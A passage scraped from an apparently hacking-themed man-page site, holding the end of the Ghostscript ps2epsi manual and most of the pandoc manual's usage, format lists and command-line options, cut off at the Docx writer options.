where “infile.ps” is the input file and “outfile.epsi” is the resulting EPSI file. If the output filename is omitted, it is generated from the input filename. When a standard extension (".ps", “.cps”, “.eps” or “.epsf”) is used, it is replaced with the output extension “.epsi”. On DOS systems the command is:

ps2epsi infile.ps outfile.epi

where “infile.ps” is the original PostScript file, and “outfile.epi” is the name of the output file.

LIMITATIONS

Not every PostScript file can be encapsulated successfully, because there are restrictions on what PostScript constructs a correct encapsulated file may contain. ps2epsi does a little extra work to try to help encapsulation, and it automatically calculates the bounding box required for all encapsulated PostScript files, so most of the time it does a pretty good job. There are certain to be cases, however, where the encapsulation does not work because of the content of the original PostScript file.

COMPATIBILITY

The Framemaker DTP system is one application which understands EPSI files, and ps2epsi has been tested on a number of PostScript diagrams from a variety of sources, using Framemaker 3.0 on a Sun workstation. Framemaker on other platforms should be able to use these files, although I have not been able to test this.

FILES

ps2epsiUnix shell script
ps2epsi.batDOS batch file
ps2epsi.psthe Ghostscript program which does the work

SEE ALSO

gs (1)

VERSION

This document was last revised for Ghostscript version 10.03.1. However, the content may be obsolete, or inconsistent with ps2epsi.txt.

AUTHOR

George Cameron

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

641 - Linux cli command pandoc

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pandoc and provides detailed information about the command pandoc, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pandoc.

NAME 🖥️ pandoc 🖥️

general markup converter

SYNOPSIS

pandoc [options] [input-file]…

DESCRIPTION

Pandoc is a Haskell library for converting from one markup format to another, and a command-line tool that uses this library.

Pandoc can convert between numerous markup and word processing formats, including, but not limited to, various flavors of Markdown, HTML, LaTeX and Word docx. For the full lists of input and output formats, see the --from and --to options below. Pandoc can also produce PDF output: see creating a PDF, below.

Pandoc’s enhanced version of Markdown includes syntax for tables, definition lists, metadata blocks, footnotes, citations, math, and much more. See below under Pandoc’s Markdown.

Pandoc has a modular design: it consists of a set of readers, which parse text in a given format and produce a native representation of the document (an abstract syntax tree or AST), and a set of writers, which convert this native representation into a target format. Thus, adding an input or output format requires only adding a reader or writer. Users can also run custom pandoc filters to modify the intermediate AST.

Because pandoc’s intermediate representation of a document is less expressive than many of the formats it converts between, one should not expect perfect conversions between every format and every other. Pandoc attempts to preserve the structural elements of a document, but not formatting details such as margin size. And some document elements, such as complex tables, may not fit into pandoc’s simple document model. While conversions from pandoc’s Markdown to all formats aspire to be perfect, conversions from formats more expressive than pandoc’s Markdown can be expected to be lossy.

Using pandoc

If no input-files are specified, input is read from stdin. Output goes to stdout by default. For output to a file, use the -o option:

pandoc -o output.html input.txt

By default, pandoc produces a document fragment. To produce a standalone document (e.g. a valid HTML file including <head> and <body>), use the -s or --standalone flag:

pandoc -s -o output.html input.txt

For more information on how standalone documents are produced, see Templates below.

If multiple input files are given, pandoc will concatenate them all (with blank lines between them) before parsing. (Use --file-scope to parse files individually.)

Specifying formats

The format of the input and output can be specified explicitly using command-line options. The input format can be specified using the -f/--from option, the output format using the -t/--to option. Thus, to convert hello.txt from Markdown to LaTeX, you could type:

pandoc -f markdown -t latex hello.txt

To convert hello.html from HTML to Markdown:

pandoc -f html -t markdown hello.html

Supported input and output formats are listed below under Options (see -f for input formats and -t for output formats). You can also use pandoc --list-input-formats and pandoc --list-output-formats to print lists of supported formats.

If the input or output format is not specified explicitly, pandoc will attempt to guess it from the extensions of the filenames. Thus, for example,

pandoc -o hello.tex hello.txt

will convert hello.txt from Markdown to LaTeX. If no output file is specified (so that output goes to stdout), or if the output file’s extension is unknown, the output format will default to HTML. If no input file is specified (so that input comes from stdin), or if the input files’ extensions are unknown, the input format will be assumed to be Markdown.

Character encoding

Pandoc uses the UTF-8 character encoding for both input and output. If your local character encoding is not UTF-8, you should pipe input and output through iconv:

iconv -t utf-8 input.txt | pandoc | iconv -f utf-8

Note that in some output formats (such as HTML, LaTeX, ConTeXt, RTF, OPML, DocBook, and Texinfo), information about the character encoding is included in the document header, which will only be included if you use the -s/--standalone option.

Creating a PDF

To produce a PDF, specify an output file with a .pdf extension:

pandoc test.txt -o test.pdf

By default, pandoc will use LaTeX to create the PDF, which requires that a LaTeX engine be installed (see --pdf-engine below). Alternatively, pandoc can use ConTeXt, roff ms, or HTML as an intermediate format. To do this, specify an output file with a .pdf extension, as before, but add the --pdf-engine option or -t context, -t html, or -t ms to the command line. The tool used to generate the PDF from the intermediate format may be specified using --pdf-engine.

You can control the PDF style using variables, depending on the intermediate format used: see variables for LaTeX, variables for ConTeXt, variables for wkhtmltopdf, variables for ms. When HTML is used as an intermediate format, the output can be styled using --css.

To debug the PDF creation, it can be useful to look at the intermediate representation: instead of -o test.pdf, use for example -s -o test.tex to output the generated LaTeX. You can then test it with pdflatex test.tex.

When using LaTeX, the following packages need to be available (they are included with all recent versions of TeX Live): amsfonts, amsmath, lm, unicode-math, iftex, listings (if the --listings option is used), fancyvrb, longtable, booktabs, [multirow] (if the document contains a table with cells that cross multiple rows), graphicx (if the document contains images), bookmark, xcolor, soul, geometry (with the geometry variable set), setspace (with linestretch), and babel (with lang). If CJKmainfont is set, xeCJK is needed. framed is required if code is highlighted in a scheme that use a colored background. The use of xelatex or lualatex as the PDF engine requires fontspec. lualatex uses selnolig and lua-ul. xelatex uses bidi (with the dir variable set). If the mathspec variable is set, xelatex will use mathspec instead of unicode-math. The upquote and microtype packages are used if available, and csquotes will be used for typography if the csquotes variable or metadata field is set to a true value. The natbib, biblatex, bibtex, and biber packages can optionally be used for citation rendering. The following packages will be used to improve output quality if present, but pandoc does not require them to be present: upquote (for straight quotes in verbatim environments), microtype (for better spacing adjustments), parskip (for better inter-paragraph spaces), xurl (for better line breaks in URLs), and footnotehyper or footnote (to allow footnotes in tables).

Reading from the Web

Instead of an input file, an absolute URI may be given. In this case pandoc will fetch the content using HTTP:

pandoc -f html -t markdown https://www.fsf.org

It is possible to supply a custom User-Agent string or other header when requesting a document from a URL:

pandoc -f html -t markdown --request-header User-Agent:"Mozilla/5.0" \
  https://www.fsf.org

OPTIONS

General options

-f FORMAT, -r FORMAT, --from=FORMAT, --read=FORMAT
Specify input format. FORMAT can be:

  • bibtex (BibTeX bibliography)

  • biblatex (BibLaTeX bibliography)

  • bits (BITS XML, alias for jats)

  • commonmark (CommonMark Markdown)

  • commonmark_x (CommonMark Markdown with extensions)

  • creole (Creole 1.0)

  • csljson (CSL JSON bibliography)

  • csv (CSV table)

  • tsv (TSV table)

  • djot (Djot markup)

  • docbook (DocBook)

  • docx (Word docx)

  • dokuwiki (DokuWiki markup)

  • endnotexml (EndNote XML bibliography)

  • epub (EPUB)

  • fb2 (FictionBook2 e-book)

  • gfm (GitHub-Flavored Markdown), or the deprecated and less accurate markdown_github; use markdown_github only if you need extensions not supported in gfm.

  • haddock (Haddock markup)

  • html (HTML)

  • ipynb (Jupyter notebook)

  • jats (JATS XML)

  • jira (Jira/Confluence wiki markup)

  • json (JSON version of native AST)

  • latex (LaTeX)

  • markdown (Pandoc’s Markdown)

  • markdown_mmd (MultiMarkdown)

  • markdown_phpextra (PHP Markdown Extra)

  • markdown_strict (original unextended Markdown)

  • mediawiki (MediaWiki markup)

  • man (roff man)

  • muse (Muse)

  • native (native Haskell)

  • odt (OpenOffice text document)

  • opml (OPML)

  • org (Emacs Org mode)

  • ris (RIS bibliography)

  • rtf (Rich Text Format)

  • rst (reStructuredText)

  • t2t (txt2tags)

  • textile (Textile)

  • tikiwiki (TikiWiki markup)

  • twiki (TWiki markup)

  • typst (typst)

  • vimwiki (Vimwiki)

  • the path of a custom Lua reader, see Custom readers and writers below

Extensions can be individually enabled or disabled by appending +EXTENSION or -EXTENSION to the format name. See Extensions below, for a list of extensions and their names. See --list-input-formats and --list-extensions, below.

-t FORMAT, -w FORMAT, --to=FORMAT, --write=FORMAT
Specify output format. FORMAT can be:

  • asciidoc (modern AsciiDoc as interpreted by AsciiDoctor)

  • asciidoc_legacy (AsciiDoc as interpreted by asciidoc-py).

  • asciidoctor (deprecated synonym for asciidoc)

  • beamer (LaTeX beamer slide show)

  • bibtex (BibTeX bibliography)

  • biblatex (BibLaTeX bibliography)

  • chunkedhtml (zip archive of multiple linked HTML files)

  • commonmark (CommonMark Markdown)

  • commonmark_x (CommonMark Markdown with extensions)

  • context (ConTeXt)

  • csljson (CSL JSON bibliography)

  • djot (Djot markup)

  • docbook or docbook4 (DocBook 4)

  • docbook5 (DocBook 5)

  • docx (Word docx)

  • dokuwiki (DokuWiki markup)

  • epub or epub3 (EPUB v3 book)

  • epub2 (EPUB v2)

  • fb2 (FictionBook2 e-book)

  • gfm (GitHub-Flavored Markdown), or the deprecated and less accurate markdown_github; use markdown_github only if you need extensions not supported in gfm.

  • haddock (Haddock markup)

  • html or html5 (HTML, i.e. HTML5/XHTML polyglot markup)

  • html4 (XHTML 1.0 Transitional)

  • icml (InDesign ICML)

  • ipynb (Jupyter notebook)

  • jats_archiving (JATS XML, Archiving and Interchange Tag Set)

  • jats_articleauthoring (JATS XML, Article Authoring Tag Set)

  • jats_publishing (JATS XML, Journal Publishing Tag Set)

  • jats (alias for jats_archiving)

  • jira (Jira/Confluence wiki markup)

  • json (JSON version of native AST)

  • latex (LaTeX)

  • man (roff man)

  • markdown (Pandoc’s Markdown)

  • markdown_mmd (MultiMarkdown)

  • markdown_phpextra (PHP Markdown Extra)

  • markdown_strict (original unextended Markdown)

  • markua (Markua)

  • mediawiki (MediaWiki markup)

  • ms (roff ms)

  • muse (Muse)

  • native (native Haskell)

  • odt (OpenOffice text document)

  • opml (OPML)

  • opendocument (OpenDocument)

  • org (Emacs Org mode)

  • pdf (PDF)

  • plain (plain text)

  • pptx (PowerPoint slide show)

  • rst (reStructuredText)

  • rtf (Rich Text Format)

  • texinfo (GNU Texinfo)

  • textile (Textile)

  • slideous (Slideous HTML and JavaScript slide show)

  • slidy (Slidy HTML and JavaScript slide show)

  • dzslides (DZSlides HTML5 + JavaScript slide show)

  • revealjs (reveal.js HTML5 + JavaScript slide show)

  • s5 (S5 HTML and JavaScript slide show)

  • tei (TEI Simple)

  • typst (typst)

  • xwiki (XWiki markup)

  • zimwiki (ZimWiki markup)

  • the path of a custom Lua writer, see Custom readers and writers below

Note that odt, docx, epub, and pdf output will not be directed to stdout unless forced with -o -.

Extensions can be individually enabled or disabled by appending +EXTENSION or -EXTENSION to the format name. See Extensions below, for a list of extensions and their names. See --list-output-formats and --list-extensions, below.

-o FILE, --output=FILE
Write output to FILE instead of stdout. If FILE is -, output will go to stdout, even if a non-textual format (docx, odt, epub2, epub3) is specified. If the output format is chunkedhtml and FILE has no extension, then instead of producing a .zip file pandoc will create a directory FILE and unpack the zip archive there (unless FILE already exists, in which case an error will be raised).

--data-dir=DIRECTORY
Specify the user data directory to search for pandoc data files. If this option is not specified, the default user data directory will be used. On *nix and macOS systems this will be the pandoc subdirectory of the XDG data directory (by default, $HOME/.local/share, overridable by setting the XDG_DATA_HOME environment variable). If that directory does not exist and $HOME/.pandoc exists, it will be used (for backwards compatibility). On Windows the default user data directory is %APPDATA%\pandoc. You can find the default user data directory on your system by looking at the output of pandoc --version. Data files placed in this directory (for example, reference.odt, reference.docx, epub.css, templates) will override pandoc’s normal defaults. (Note that the user data directory is not created by pandoc, so you will need to create it yourself if you want to make use of it.)

-d FILE, --defaults=FILE
Specify a set of default option settings. FILE is a YAML file whose fields correspond to command-line option settings. All options for document conversion, including input and output files, can be set using a defaults file. The file will be searched for first in the working directory, and then in the defaults subdirectory of the user data directory (see --data-dir). The .yaml extension may be omitted. See the section Defaults files for more information on the file format. Settings from the defaults file may be overridden or extended by subsequent options on the command line.

--bash-completion
Generate a bash completion script. To enable bash completion with pandoc, add this to your .bashrc:

eval "$(pandoc --bash-completion)"

--verbose
Give verbose debugging output.

--quiet
Suppress warning messages.

--fail-if-warnings[=true|false]
Exit with error status if there are any warnings.

--log=FILE
Write log messages in machine-readable JSON format to FILE. All messages above DEBUG level will be written, regardless of verbosity settings (--verbose, --quiet).

--list-input-formats
List supported input formats, one per line.

--list-output-formats
List supported output formats, one per line.

--list-extensions[=FORMAT]
List supported extensions for FORMAT, one per line, preceded by a + or - indicating whether it is enabled by default in FORMAT. If FORMAT is not specified, defaults for pandoc’s Markdown are given.

--list-highlight-languages
List supported languages for syntax highlighting, one per line.

--list-highlight-styles
List supported styles for syntax highlighting, one per line. See --highlight-style.

-v, --version
Print version.

-h, --help
Show usage message.

Reader options

--shift-heading-level-by=NUMBER
Shift heading levels by a positive or negative integer. For example, with --shift-heading-level-by=-1, level 2 headings become level 1 headings, and level 3 headings become level 2 headings. Headings cannot have a level less than 1, so a heading that would be shifted below level 1 becomes a regular paragraph. Exception: with a shift of -N, a level-N heading at the beginning of the document replaces the metadata title. --shift-heading-level-by=-1 is a good choice when converting HTML or Markdown documents that use an initial level-1 heading for the document title and level-2+ headings for sections. --shift-heading-level-by=1 may be a good choice for converting Markdown documents that use level-1 headings for sections to HTML, since pandoc uses a level-1 heading to render the document title.

--base-header-level=NUMBER
Deprecated. Use --shift-heading-level-by=X instead, where X = NUMBER - 1. Specify the base level for headings (defaults to 1).

--indented-code-classes=CLASSES
Specify classes to use for indented code blocks—for example, perl,numberLines or haskell. Multiple classes may be separated by spaces or commas.

--default-image-extension=EXTENSION
Specify a default extension to use when image paths/URLs have no extension. This allows you to use the same source for formats that require different kinds of images. Currently this option only affects the Markdown and LaTeX readers.

--file-scope[=true|false]
Parse each file individually before combining for multifile documents. This will allow footnotes in different files with the same identifiers to work as expected. If this option is set, footnotes and links will not work across files. Reading binary files (docx, odt, epub) implies --file-scope.

If two or more files are processed using --file-scope, prefixes based on the filenames will be added to identifiers in order to disambiguate them, and internal links will be adjusted accordingly. For example, a header with identifier foo in subdir/file1.txt will have its identifier changed to subdir__file1.txt__foo.

-F PROGRAM, --filter=PROGRAM
Specify an executable to be used as a filter transforming the pandoc AST after the input is parsed and before the output is written. The executable should read JSON from stdin and write JSON to stdout. The JSON must be formatted like pandoc’s own JSON input and output. The name of the output format will be passed to the filter as the first argument. Hence,

pandoc --filter ./caps.py -t latex

is equivalent to

pandoc -t json | ./caps.py latex | pandoc -f json -t latex

The latter form may be useful for debugging filters.

Filters may be written in any language. Text.Pandoc.JSON exports toJSONFilter to facilitate writing filters in Haskell. Those who would prefer to write filters in python can use the module pandocfilters, installable from PyPI. There are also pandoc filter libraries in PHP, perl, and JavaScript/node.js.

In order of preference, pandoc will look for filters in

  1. a specified full or relative path (executable or non-executable),

  2. $DATADIR/filters (executable or non-executable) where $DATADIR is the user data directory (see --data-dir, above),

  3. $PATH (executable only).

Filters, Lua-filters, and citeproc processing are applied in the order specified on the command line.

-L SCRIPT, --lua-filter=SCRIPT
Transform the document in a similar fashion as JSON filters (see --filter), but use pandoc’s built-in Lua filtering system. The given Lua script is expected to return a list of Lua filters which will be applied in order. Each Lua filter must contain element-transforming functions indexed by the name of the AST element on which the filter function should be applied.

The pandoc Lua module provides helper functions for element creation. It is always loaded into the script’s Lua environment.

See the Lua filters documentation for further details.

In order of preference, pandoc will look for Lua filters in

  1. a specified full or relative path,

  2. $DATADIR/filters where $DATADIR is the user data directory (see --data-dir, above).

Filters, Lua filters, and citeproc processing are applied in the order specified on the command line.

-M KEY[=VAL], --metadata=KEY[:VAL]
Set the metadata field KEY to the value VAL. A value specified on the command line overrides a value specified in the document using YAML metadata blocks. Values will be parsed as YAML boolean or string values. If no value is specified, the value will be treated as Boolean true. Like --variable, --metadata causes template variables to be set. But unlike --variable, --metadata affects the metadata of the underlying document (which is accessible from filters and may be printed in some output formats) and metadata values will be escaped when inserted into the template.

--metadata-file=FILE
Read metadata from the supplied YAML (or JSON) file. This option can be used with every input format, but string scalars in the metadata file will always be parsed as Markdown. (If the input format is Markdown or a Markdown variant, then the same variant will be used to parse the metadata file; if it is a non-Markdown format, pandoc’s default Markdown extensions will be used.) This option can be used repeatedly to include multiple metadata files; values in files specified later on the command line will be preferred over those specified in earlier files. Metadata values specified inside the document, or by using -M, overwrite values specified with this option. The file will be searched for first in the working directory, and then in the metadata subdirectory of the user data directory (see --data-dir).

-p, --preserve-tabs[=true|false]
Preserve tabs instead of converting them to spaces. (By default, pandoc converts tabs to spaces before parsing its input.) Note that this will only affect tabs in literal code spans and code blocks. Tabs in regular text are always treated as spaces.

--tab-stop=NUMBER
Specify the number of spaces per tab (default is 4).

--track-changes=accept|reject|all
Specifies what to do with insertions, deletions, and comments produced by the MS Word “Track Changes” feature. accept (the default) processes all the insertions and deletions. reject ignores them. Both accept and reject ignore comments. all includes all insertions, deletions, and comments, wrapped in spans with insertion, deletion, comment-start, and comment-end classes, respectively. The author and time of change is included. all is useful for scripting: only accepting changes from a certain reviewer, say, or before a certain date. If a paragraph is inserted or deleted, track-changes=all produces a span with the class paragraph-insertion/paragraph-deletion before the affected paragraph break. This option only affects the docx reader.

--extract-media=DIR
Extract images and other media contained in or linked from the source document to the path DIR, creating it if necessary, and adjust the images references in the document so they point to the extracted files. Media are downloaded, read from the file system, or extracted from a binary container (e.g. docx), as needed. The original file paths are used if they are relative paths not containing ... Otherwise filenames are constructed from the SHA1 hash of the contents.

--abbreviations=FILE
Specifies a custom abbreviations file, with abbreviations one to a line. If this option is not specified, pandoc will read the data file abbreviations from the user data directory or fall back on a system default. To see the system default, use pandoc --print-default-data-file=abbreviations. The only use pandoc makes of this list is in the Markdown reader. Strings found in this list will be followed by a nonbreaking space, and the period will not produce sentence-ending space in formats like LaTeX. The strings may not contain spaces.

--trace[=true|false]
Print diagnostic output tracing parser progress to stderr. This option is intended for use by developers in diagnosing performance issues.

General writer options

-s, --standalone
Produce output with an appropriate header and footer (e.g. a standalone HTML, LaTeX, TEI, or RTF file, not a fragment). This option is set automatically for pdf, epub, epub3, fb2, docx, and odt output. For native output, this option causes metadata to be included; otherwise, metadata is suppressed.

--template=FILE|URL
Use the specified file as a custom template for the generated document. Implies --standalone. See Templates, below, for a description of template syntax. If no extension is specified, an extension corresponding to the writer will be added, so that --template=special looks for special.html for HTML output. If the template is not found, pandoc will search for it in the templates subdirectory of the user data directory (see --data-dir). If this option is not used, a default template appropriate for the output format will be used (see -D/--print-default-template).

-V KEY[=VAL], --variable=KEY[:VAL]
Set the template variable KEY to the value VAL when rendering the document in standalone mode. If no VAL is specified, the key will be given the value true.

--sandbox[=true|false]
Run pandoc in a sandbox, limiting IO operations in readers and writers to reading the files specified on the command line. Note that this option does not limit IO operations by filters or in the production of PDF documents. But it does offer security against, for example, disclosure of files through the use of include directives. Anyone using pandoc on untrusted user input should use this option.

Note: some readers and writers (e.g., docx) need access to data files. If these are stored on the file system, then pandoc will not be able to find them when run in --sandbox mode and will raise an error. For these applications, we recommend using a pandoc binary compiled with the embed_data_files option, which causes the data files to be baked into the binary instead of being stored on the file system.

-D FORMAT, --print-default-template=FORMAT
Print the system default template for an output FORMAT. (See -t for a list of possible FORMATs.) Templates in the user data directory are ignored. This option may be used with -o/--output to redirect output to a file, but -o/--output must come before --print-default-template on the command line.

Note that some of the default templates use partials, for example styles.html. To print the partials, use --print-default-data-file: for example, --print-default-data-file=templates/styles.html.

--print-default-data-file=FILE
Print a system default data file. Files in the user data directory are ignored. This option may be used with -o/--output to redirect output to a file, but -o/--output must come before --print-default-data-file on the command line.

--eol=crlf|lf|native
Manually specify line endings: crlf (Windows), lf (macOS/Linux/UNIX), or native (line endings appropriate to the OS on which pandoc is being run). The default is native.

--dpi=NUMBER
Specify the default dpi (dots per inch) value for conversion from pixels to inch/centimeters and vice versa. (Technically, the correct term would be ppi: pixels per inch.) The default is 96dpi. When images contain information about dpi internally, the encoded value is used instead of the default specified by this option.

--wrap=auto|none|preserve
Determine how text is wrapped in the output (the source code, not the rendered version). With auto (the default), pandoc will attempt to wrap lines to the column width specified by --columns (default 72). With none, pandoc will not wrap lines at all. With preserve, pandoc will attempt to preserve the wrapping from the source document (that is, where there are nonsemantic newlines in the source, there will be nonsemantic newlines in the output as well). In ipynb output, this option affects wrapping of the contents of Markdown cells.

--columns=NUMBER
Specify length of lines in characters. This affects text wrapping in the generated source code (see --wrap). It also affects calculation of column widths for plain text tables (see Tables below).

--toc[=true|false], --table-of-contents[=true|false]
Include an automatically generated table of contents (or, in the case of latex, context, docx, odt, opendocument, rst, or ms, an instruction to create one) in the output document. This option has no effect unless -s/--standalone is used, and it has no effect on man, docbook4, docbook5, or jats output.

Note that if you are producing a PDF via ms, the table of contents will appear at the beginning of the document, before the title. If you would prefer it to be at the end of the document, use the option --pdf-engine-opt=--no-toc-relocation.

--toc-depth=NUMBER
Specify the number of section levels to include in the table of contents. The default is 3 (which means that level-1, 2, and 3 headings will be listed in the contents).

--strip-comments[=true|false]
Strip out HTML comments in the Markdown or Textile source, rather than passing them on to Markdown, Textile or HTML output as raw HTML. This does not apply to HTML comments inside raw HTML blocks when the markdown_in_html_blocks extension is not set.

--no-highlight
Disables syntax highlighting for code blocks and inlines, even when a language attribute is given.

--highlight-style=STYLE|FILE
Specifies the coloring style to be used in highlighted source code. Options are pygments (the default), kate, monochrome, breezeDark, espresso, zenburn, haddock, and tango. For more information on syntax highlighting in pandoc, see Syntax highlighting, below. See also --list-highlight-styles.

Instead of a STYLE name, a JSON file with extension .theme may be supplied. This will be parsed as a KDE syntax highlighting theme and (if valid) used as the highlighting style.

To generate the JSON version of an existing style, use --print-highlight-style.

--print-highlight-style=STYLE|FILE
Prints a JSON version of a highlighting style, which can be modified, saved with a .theme extension, and used with --highlight-style. This option may be used with -o/--output to redirect output to a file, but -o/--output must come before --print-highlight-style on the command line.

--syntax-definition=FILE
Instructs pandoc to load a KDE XML syntax definition file, which will be used for syntax highlighting of appropriately marked code blocks. This can be used to add support for new languages or to use altered syntax definitions for existing languages. This option may be repeated to add multiple syntax definitions.

-H FILE, --include-in-header=FILE|URL
Include contents of FILE, verbatim, at the end of the header. This can be used, for example, to include special CSS or JavaScript in HTML documents. This option can be used repeatedly to include multiple files in the header. They will be included in the order specified. Implies --standalone.

-B FILE, --include-before-body=FILE|URL
Include contents of FILE, verbatim, at the beginning of the document body (e.g. after the <body> tag in HTML, or the egin{document} command in LaTeX). This can be used to include navigation bars or banners in HTML documents. This option can be used repeatedly to include multiple files. They will be included in the order specified. Implies --standalone. Note that if the output format is odt, this file must be in OpenDocument XML format suitable for insertion into the body of the document, and if the output is docx, this file must be in appropriate OpenXML format.

-A FILE, --include-after-body=FILE|URL
Include contents of FILE, verbatim, at the end of the document body (before the </body> tag in HTML, or the nd{document} command in LaTeX). This option can be used repeatedly to include multiple files. They will be included in the order specified. Implies --standalone. Note that if the output format is odt, this file must be in OpenDocument XML format suitable for insertion into the body of the document, and if the output is docx, this file must be in appropriate OpenXML format.

--resource-path=SEARCHPATH
List of paths to search for images and other resources. The paths should be separated by : on Linux, UNIX, and macOS systems, and by ; on Windows. If --resource-path is not specified, the default resource path is the working directory. Note that, if --resource-path is specified, the working directory must be explicitly listed or it will not be searched. For example: --resource-path=.:test will search the working directory and the test subdirectory, in that order. This option can be used repeatedly. Search path components that come later on the command line will be searched before those that come earlier, so --resource-path foo:bar --resource-path baz:bim is equivalent to --resource-path baz:bim:foo:bar. Note that this option only has an effect when pandoc itself needs to find an image (e.g., in producing a PDF or docx, or when --embed-resources is used.) It will not cause image paths to be rewritten in other cases (e.g., when pandoc is generating LaTeX or HTML).

--request-header=NAME:VAL
Set the request header NAME to the value VAL when making HTTP requests (for example, when a URL is given on the command line, or when resources used in a document must be downloaded). If you’re behind a proxy, you also need to set the environment variable http_proxy to http://....

--no-check-certificate[=true|false]
Disable the certificate verification to allow access to unsecure HTTP resources (for example when the certificate is no longer valid or self signed).

Options affecting specific writers

--self-contained[=true|false]
Deprecated synonym for --embed-resources --standalone.

--embed-resources[=true|false]
Produce a standalone HTML file with no external dependencies, using data: URIs to incorporate the contents of linked scripts, stylesheets, images, and videos. The resulting file should be “self-contained,” in the sense that it needs no external files and no net access to be displayed properly by a browser. This option works only with HTML output formats, including html4, html5, html+lhs, html5+lhs, s5, slidy, slideous, dzslides, and revealjs. Scripts, images, and stylesheets at absolute URLs will be downloaded; those at relative URLs will be sought relative to the working directory (if the first source file is local) or relative to the base URL (if the first source file is remote). Elements with the attribute data-external="1" will be left alone; the documents they link to will not be incorporated in the document. Limitation: resources that are loaded dynamically through JavaScript cannot be incorporated; as a result, fonts may be missing when --mathjax is used, and some advanced features (e.g. zoom or speaker notes) may not work in an offline “self-contained” reveal.js slide show.

For SVG images, img tags with data: URIs are used, unless the image has the class inline-svg, in which case an inline SVG element is inserted. This approach is recommended when there are many occurrences of the same SVG in a document, as <use> elements will be used to reduce duplication.

--link-images[=true|false]
Include links to images instead of embedding the images in ODT. (This option currently only affects ODT output.)

--html-q-tags[=true|false]
Use <q> tags for quotes in HTML. (This option only has an effect if the smart extension is enabled for the input format used.)

--ascii[=true|false]
Use only ASCII characters in output. Currently supported for XML and HTML formats (which use entities instead of UTF-8 when this option is selected), CommonMark, gfm, and Markdown (which use entities), roff man and ms (which use hexadecimal escapes), and to a limited degree LaTeX (which uses standard commands for accented characters when possible).

--reference-links[=true|false]
Use reference-style links, rather than inline links, in writing Markdown or reStructuredText. By default inline links are used. The placement of link references is affected by the --reference-location option.

--reference-location=block|section|document
Specify whether footnotes (and references, if reference-links is set) are placed at the end of the current (top-level) block, the current section, or the document. The default is document. Currently this option only affects the markdown, muse, html, epub, slidy, s5, slideous, dzslides, and revealjs writers. In slide formats, specifying --reference-location=section will cause notes to be rendered at the bottom of a slide.

--markdown-headings=setext|atx
Specify whether to use ATX-style (#-prefixed) or Setext-style (underlined) headings for level 1 and 2 headings in Markdown output. (The default is atx.) ATX-style headings are always used for levels 3+. This option also affects Markdown cells in ipynb output.

--list-tables[=true|false]
Render tables as list tables in RST output.

--top-level-division=default|section|chapter|part
Treat top-level headings as the given division type in LaTeX, ConTeXt, DocBook, and TEI output. The hierarchy order is part, chapter, then section; all headings are shifted such that the top-level heading becomes the specified type. The default behavior is to determine the best division type via heuristics: unless other conditions apply, section is chosen. When the documentclass variable is set to report, book, or memoir (unless the article option is specified), chapter is implied as the setting for this option. If beamer is the output format, specifying either chapter or part will cause top-level headings to become \part{..}, while second-level headings remain as their default type.

-N, --number-sections=[true|false]
Number section headings in LaTeX, ConTeXt, HTML, Docx, ms, or EPUB output. By default, sections are not numbered. Sections with class unnumbered will never be numbered, even if --number-sections is specified.

--number-offset=NUMBER[,NUMBER,]
Offset for section headings in HTML output (ignored in other output formats). The first number is added to the section number for top-level headings, the second for second-level headings, and so on. So, for example, if you want the first top-level heading in your document to be numbered “6”, specify --number-offset=5. If your document starts with a level-2 heading which you want to be numbered “1.5”, specify --number-offset=1,4. Offsets are 0 by default. Implies --number-sections.

--listings[=true|false]
Use the listings package for LaTeX code blocks. The package does not support multi-byte encoding for source code. To handle UTF-8 you would need to use a custom template. This issue is fully documented here: Encoding issue with the listings package.

-i, --incremental[=true|false]
Make list items in slide shows display incrementally (one by one). The default is for lists to be displayed all at once.

--slide-level=NUMBER
Specifies that headings with the specified level create slides (for beamer, revealjs, pptx, s5, slidy, slideous, dzslides). Headings above this level in the hierarchy are used to divide the slide show into sections; headings below this level create subheads within a slide. Valid values are 0-6. If a slide level of 0 is specified, slides will not be split automatically on headings, and horizontal rules must be used to indicate slide boundaries. If a slide level is not specified explicitly, the slide level will be set automatically based on the contents of the document; see Structuring the slide show.

--section-divs[=true|false]
Wrap sections in <section> tags (or <div> tags for html4), and attach identifiers to the enclosing <section> (or <div>) rather than the heading itself (see Heading identifiers, below). This option only affects HTML output (and does not affect HTML slide formats).

--email-obfuscation=none|javascript|references
Specify a method for obfuscating mailto: links in HTML documents. none leaves mailto: links as they are. javascript obfuscates them using JavaScript. references obfuscates them by printing their letters as decimal or hexadecimal character references. The default is none.

--id-prefix=STRING
Specify a prefix to be added to all identifiers and internal links in HTML and DocBook output, and to footnote numbers in Markdown and Haddock output. This is useful for preventing duplicate identifiers when generating fragments to be included in other pages.

-T STRING, --title-prefix=STRING
Specify STRING as a prefix at the beginning of the title that appears in the HTML header (but not in the title as it appears at the beginning of the HTML body). Implies --standalone.

-c URL, --css=URL
Link to a CSS style sheet. This option can be used repeatedly to include multiple files. They will be included in the order specified. This option only affects HTML (including HTML slide shows) and EPUB output. It should be used together with -s/--standalone, because the link to the stylesheet goes in the document header.

A stylesheet is required for generating EPUB. If none is provided using this option (or the css or stylesheet metadata fields), pandoc will look for a file epub.css in the user data directory (see --data-dir). If it is not found there, sensible defaults will be used.

--reference-doc=FILE|URL
Use the specified file as a style reference in producing a docx or ODT file.

Docx
